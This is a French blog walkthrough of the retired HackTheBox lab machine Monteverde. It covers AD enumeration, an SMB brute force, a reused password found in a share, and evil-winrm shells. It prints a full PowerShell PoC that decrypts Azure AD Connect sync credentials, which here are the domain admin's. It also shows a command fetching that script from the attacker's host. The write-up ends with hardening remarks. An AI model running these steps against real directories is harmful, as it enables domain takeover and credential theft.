white.h4t.eu

Ici c'est Linux, plaintext et pentest.

Monteverde HackTheBox

June 13, 2020 — ebsd

Intro

Box retirée le 13 juin 2020. Il s'agit d'un Windows Server 2019. On va utiliser le service Azure AD pour élever nos privilèges.

Points clés :

  • Mot de passe faible sur un compte "technique"
  • Un fichier de configuration est disponible sur un partage
  • Un mot de passe est réutilisé pour 2 fonctions différentes
  • Élévation de privilèges de admin Azure Active Directory à Domain Administrator

Reconnaissance

Voyons quels sont les ports en écoutes.

$ nmap -Pn -p- 10.10.10.172
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 07:13 UTC
Nmap scan report for 10.10.10.172
Host is up (0.072s latency).
Not shown: 65516 filtered ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49706/tcp open  unknown
49783/tcp open  unknown

Énumération

Un port ldap est ouvert, correspondant sans doute à un annuaire Active Directory. Essayons de consulter cet annuaire.

$ ldapsearch -x -h 10.10.10.172 -s base
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=MEGABANK,DC=LOCAL
ldapServiceName: MEGABANK.LOCAL:monteverde$@MEGABANK.LOCAL
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
...
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
serverName: CN=MONTEVERDE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Co
 nfiguration,DC=MEGABANK,DC=LOCAL
schemaNamingContext: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: DC=MEGABANK,DC=LOCAL
namingContexts: CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL
namingContexts: DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL
isSynchronized: TRUE
highestCommittedUSN: 65700
dsServiceName: CN=NTDS Settings,CN=MONTEVERDE,CN=Servers,CN=Default-First-Site
 -Name,CN=Sites,CN=Configuration,DC=MEGABANK,DC=LOCAL
dnsHostName: MONTEVERDE.MEGABANK.LOCAL
defaultNamingContext: DC=MEGABANK,DC=LOCAL
currentTime: 20200528065231.0Z
configurationNamingContext: CN=Configuration,DC=MEGABANK,DC=LOCAL

# search result
search: 2
result: 0 Success

On découvre le nom de domaine Active Directory : MEGABANK.LOCAL. Encore un peu d'énumération pour avancer.

$ enum4linux 10.10.10.172
[..]
 ============================= 
|    Users on 10.10.10.172    |
 ============================= 
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2       
Name: AAD_987d7f2f57d2  Desc: Service account for the Synchronization Service with installation
identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos       Name: Dimitris Galanos  Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope  Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary        Name: Ray O'Leary       Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs    Name: SABatchJobs       Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan        Name: Sally Morgan      Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata        Name: svc-ata   Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec      Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp     Name: svc-netapp        Desc: (null)

[..]
 ==================================================== 
|    Password Policy Information for 10.10.10.172    |
 ==================================================== 

[+] Found domain(s):
    [+] MEGABANK
    [+] Builtin
[+] Password Info for Domain: MEGABANK
    [+] Minimum password length: 7
    [+] Password history length: 24
    [+] Maximum password age: 41 days 23 hours 53 minutes 
    [+] Password Complexity Flags: 000000
        [+] Domain Refuse Password Change: 0
        [+] Domain Password Store Cleartext: 0
        [+] Domain Password Lockout Admins: 0
        [+] Domain Password No Clear Change: 0
        [+] Domain Password No Anon Change: 0
        [+] Domain Password Complex: 0
    [+] Minimum password age: 1 day 4 minutes 
    [+] Reset Account Lockout Counter: 30 minutes 
    [+] Locked Account Duration: 30 minutes 
    [+] Account Lockout Threshold: None
    [+] Forced Log off Time: Not Set     
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 7

 ============================== 
|    Groups on 10.10.10.172    |
 ============================== 

[+] Getting domain group memberships:
Group 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group 'Domain Users' (RID: 513) has member: MEGABANK\smorgan
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest

Plus d'information sur les users découverts. En particulier, il existe un share users$. Quelles informations pourrions nous découvrir ?

$ rpcclient -U "" -N 10.10.10.172

rpcclient $> queryuser mhope
    User Name   :   mhope
    Full Name   :   Mike Hope
    Home Drive  :   \\monteverde\users$\mhope
    Dir Drive   :   H:
    Profile Path:
    Logon Script:
    Description :
    Workstations:
    Comment     :
    Remote Dial :
    Logon Time               :      Fri, 03 Jan 2020 08:29:59 EST
    Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
    Kickoff Time             :      Wed, 13 Sep 30828 22:48:05 EDT
    Password last set Time   :      Thu, 02 Jan 2020 18:40:06 EST
    Password can change Time :      Fri, 03 Jan 2020 18:40:06 EST
    Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT
    unknown_2[0..31]...
    user_rid :      0x641
    group_rid:      0x201
    acb_info :      0x00000210
    fields_present: 0x00ffffff
    logon_divs:     168
    bad_password_count:     0x00000000
    logon_count:    0x00000002
    padding1[0..7]...
    logon_hrs[0..21]...

Nous n'avons pas d'accès à ce share. La policy de verrouillage des comptes le permettant, tentons un bruteforce des comptes...

kali@kali:~$ cat monteverde_users.txt 
dgalanos
mhope
roleary
SABatchJobs
smorgan
svc-ata
svc-bexec
svc-netapp

... avec un module metasploit. Sans succès.

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain MEGABANK
SMBDomain => MEGABANK
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/ rockyou.txt
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE ~/monteverde_users.txt
USER_FILE => ~/monteverde_users.txt
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.10.10.172
RHOSTS => 10.10.10.172
sf5 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/smb/smb_login) > run

[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:leonardo',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:jayjay',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:liliana',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:dexter',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:sexygirl',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:232323',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:amores',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:rockon',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:christ',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:babydoll',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:anthony1',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:marcus',
[-] 10.10.10.172:445      - 10.10.10.172:445 - Failed: 'MEGABANK\dgalanos:bitch1',

Pendant que le brute force avance, je tente manuellement d'utiliser login = mot de passe sur chacun des comptes. Ça passe sur le compte SABatchJob ! En scrutant chaque dossier users$, je découvre un fichier azure.xml appartenant à mhope .

kali@kali:~$ smbclient \\\\10.10.10.172\\users$ -U SABatchJobs
Unable to initialize messaging context
Enter WORKGROUP\SABatchJobs's password: 
Try "help" to get a list of possible commands.
smb: \> 
smb: \> cd mhope
smb: \mhope\> dir
  .                                   D        0  Fri Jan  3 08:41:18 2020
  ..                                  D        0  Fri Jan  3 08:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 08:40:23 2020

        524031 blocks of size 4096. 519955 blocks available
smb: \mhope\> get azure.xml 
getting file \mhope\azure.xml of size 1212 as azure.xml (3.0 KiloBytes/sec) (average 3.0 KiloBytes/sec)

Et j'obtiens un mot de passe azure : 4n0therD4y@n0th3r$

kali@kali:~$ cat azure.xml 
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

Il s'avère que c'est également le mot de passe du compte AD mhope.

kali@kali:~$ smbclient \\\\10.10.10.172\\users$ -U mhope
Unable to initialize messaging context
Enter WORKGROUP\mhope's password: <4n0therD4y@n0th3r$>
Try "help" to get a list of possible commands.
smb: \>

Le port 5985/tcp est ouvert (wsman), je tente une connexion ps-remoting.

kali@kali:~$ evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents>

J'accède au flag user !

*Evil-WinRM* PS C:\Users\mhope\Desktop> ls
    Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         1/3/2020   5:48 AM             32 user.txt

*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
4961976bd7d8f4eeb2ce3705e2f212f2

Privilege escalation

Encore quelques recherches sur le compte mhope. Mike Hope est admin de Azure (membre du groupe Azure Admins).

*Evil-WinRM* PS C:\Users\mhope\Desktop> Get-ADUser mhope
MemberOf         : {CN=Azure Admins,OU=Groups,DC=MEGABANK,DC=LOCAL, CN=Remote Management Users,CN=Builtin,DC=MEGABANK,DC=LOCAL}

Azure AD ?

En étendant l'authentification au delà de l'Active Directory "on-prem", Azure AD permet une authentification des utilisateurs avec leurs crédentiels sur des services comme Azure, Sharepoint, Office 365 et bien d'autres...

Pour fonctionner Azure AD doit être configuré pour synchroniser les empreintes de mots de passe (Password Hash Synchronisation- PHS) des utilisateurs Active Directory vers Azure AD.

PHS c'est un peu comme une attaque DCSync via Mimikatz. Pour que la synchro des empreintes de mots de passe s'opère, Azure AD nécessite un compte avec les permissions "Replicating Directory Changes".

Une base de données MSSQL nommée ADSync détient les métadonnées et la configuration du service de synchronisation Azure AD : notamment le compte et le mot de passe utilisé pour cette synchronisation.

Le mot de passe est encrypté dans la base, mais de manière réversible. Pour toutes les infos lire ceci : https://blog.xpnsec.com/azuread-connect-for-redteam/

En résumé : Compte Azure AD sync compromis = AD compromis. Car le compte de synchro peut répliquer les Directory Changes.

POC

Adam Chester met à disposition un POC ici : https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azureaddecryptmsol-ps1

Ce POC ne fonctionne pas d'emblée. Il nécessite une légère adaptation de la "connection string". Assurons nous tout d'abord :

  • que la BDD est bien accessible,
  • qu'elle porte effectivement le nom ADSync
  • et que les tables sont accessibles également.

Voici de quoi réviser l'énumération MSSQL ! Quelles sont les bases de données ?

*Evil-WinRM* PS C:\> SQLCMD.EXE -S "localhost,1433" -Q "SELECT name FROM master..sysdatabases;"
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ADSync

(5 rows affected)

La base ADSync est bien là. Dispose-t-on de la fameuse table mmsmanagementagent qui renferme les secrets encryptés Azure AD ?

*Evil-WinRM* PS C:\program files (x86)\Microsoft SQL Server> SQLCMD.EXE -S "10.10.10.172,1433" -Q "SELECT name FROM ADSync..sysobjects WHERE xtype = 'U';"
name
--------------------------------------------------------------------------------------------------------------------------------
mms_metaverse
mms_metaverse_lineageguid
mms_metaverse_lineagedate
mms_connectorspace
mms_cs_object_log
mms_cs_link
mms_management_agent
mms_synchronization_rule
mms_csmv_link
mms_metaverse_multivalue
mms_mv_link
mms_partition
mms_watermark_history
mms_run_history
mms_run_profile
mms_server_configuration
mms_step_history
mms_step_object_details

(18 rows affected)

Source du POC utilisé : https://blog.xpnsec.com/azuread-connect-for-redteam/

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Le POC modifié à me convenance azureaddecryptmsol.ps1. J'ai eu quelques difficultés pour établir la connexion string.

#$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localhost,1433)\\.\\ADSync;Initial Catalog=ADSync"
$SQLServer="localhost"
$SQLDBName="ADSync"
$client = New-Object System.Data.SqlClient.SqlConnection
$client.ConnectionString = "Server = $SQLServer; Database = $SQLDBName; Integrated Security = True;"
$client.Open()

Reste à l'uploader sur la victime et l'exécuter.

*Evil-WinRM* PS C:\Users\mhope\Documents> Add-Content -Path az.ps1 -Value (New-Object Net.WebClient).DownloadString('http://10.10.14.14/az.ps1')
*Evil-WinRM* PS C:\Users\mhope\Documents> .\az.ps1
AD Connect Sync Credential Extract POC (@_xpn_)

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

image-20200602222544857

Domain admin yeah !

Vraisemblablement l'administrateur a choisi d'utiliser le compte Administrator comme compte de service Azure AD ! Nous n'aurons pas besoin d'autres actions pour devenir administrateur du domaine.

Récupérons le flag root.txt.

kali@kali:~$ evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
12909612d25c8dcf6e5a07d1a804a0bc

image-20200602222947296

Analyse de la configuration et recommandations

Pour aller plus loin et étudier cette machine, activons le RDP :

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

La "Default Domain Controllers Policy" donne un accès réseau aux DC à tout le monde, ce qui n'est pas une bonne idée, mais nécessaire pour les besoins du lab.

image-20200603145115722

Il existe bien un compte Azure AD (AAD_987d7f2f57d2) utilisé seulement pour jouer le service Azure AD.

image-20200603142635359

image-20200603142742978

Visualisons la configuration Azure AD connect, le compte utilisé est bien MEGABANK\Administrator. Un compte spécifique devrait être utilisé, même si le risque n'est pas réellement mitigé. Ici un changement de mot de passe du compte administrateur aura des conséquences sur le fonctionnement de la synchro Azure AD.

image-20200603142933446

Merci egre55 pour cette machine très instructive !

Hack The Box

Tags: HackTheBox

Comments? Tweet